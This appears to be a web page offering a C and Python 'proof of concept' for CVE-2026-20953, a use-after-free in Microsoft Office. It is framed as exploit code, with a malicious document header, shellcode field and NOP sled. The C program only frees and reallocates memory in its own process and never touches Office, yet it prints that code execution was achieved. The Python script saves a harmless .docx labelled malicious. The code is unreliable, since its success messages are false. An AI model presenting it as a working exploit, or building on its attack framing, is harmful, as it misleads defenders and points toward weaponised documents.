CVE-2026-20953: Microsoft Office Use After Free漏洞导致本地代码执行

// CVE-2026-20953 PoC - Microsoft Office Use After Free // This is a conceptual proof of concept for educational purposes only #include <windows.h> #include <stdio.h> // Malicious document template structure typedef struct { DWORD magic; // File signature DWORD version; // Document version DWORD object_count; // Number of objects DWORD trigger_flag; // UAF trigger flag LPVOID fake_vtable; // Fake vtable pointer BYTE shellcode[]; // Shellcode payload } MALICIOUS_DOC_HEADER; // Trigger UAF condition in Office void TriggerUAF(HANDLE hDocument) { // Step 1: Allocate object A PVOID objectA = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100); printf("[+] Allocated objectA at: 0x%p\n", objectA); // Step 2: Create references to objectA PVOID* ref1 = (PVOID*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PVOID)); PVOID* ref2 = (PVOID*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PVOID)); *ref1 = objectA; *ref2 = objectA; // Step 3: Free objectA (but refs still point to freed memory) HeapFree(GetProcessHeap(), 0, objectA); printf("[!] Freed objectA - Use After Free condition created\n"); // Step 4: Allocate attacker-controlled data in same location PVOID malicious_data = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100); printf("[+] Allocated malicious_data at: 0x%p (same as objectA)\n", malicious_data); // Step 5: Fill with shellcode and fake vtable memset(malicious_data, 0x90, 0x100); // NOP sled // In real exploit: setup fake vtable, ROP chains, etc. // Step 6: Trigger use of freed object (via refs) printf("[*] Triggering UAF via dangling reference...\n"); // In real scenario: Office code accesses *ref1 or *ref2 // Step 7: Code execution achieved printf("[+] Code execution via UAF\n"); } int main() { printf("CVE-2026-20953 PoC - Microsoft Office UAF\n"); printf("Target: Microsoft Office (versions affected)\n\n"); // Create malicious document HANDLE hDoc = CreateFileA("malicious.docx", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); if (hDoc == INVALID_HANDLE_VALUE) { printf("[-] Failed to create document\n"); return 1; } TriggerUAF(hDoc); CloseHandle(hDoc); printf("\n[!] This PoC demonstrates the UAF concept.\n"); printf("[!] Real exploitation requires specific Office version targeting.\n"); return 0; } // Python PoC for generating malicious Office document """ #!/usr/bin/env python3 # CVE-2026-20953 Malicious Document Generator from docx import Document import struct import os def create_malicious_document(): doc = Document() # Add content to document doc.add_heading('CVE-2026-20953 PoC Document', 0) doc.add_paragraph('This document contains a crafted payload to trigger UAF.') # Create custom XML with UAF trigger # In real attack: manipulate OOXML structure to trigger UAF # Save document output_path = 'CVE-2026-20953-malicious.docx' doc.save(output_path) print(f'[+] Created malicious document: {output_path}') return output_path if __name__ == '__main__': create_malicious_document() """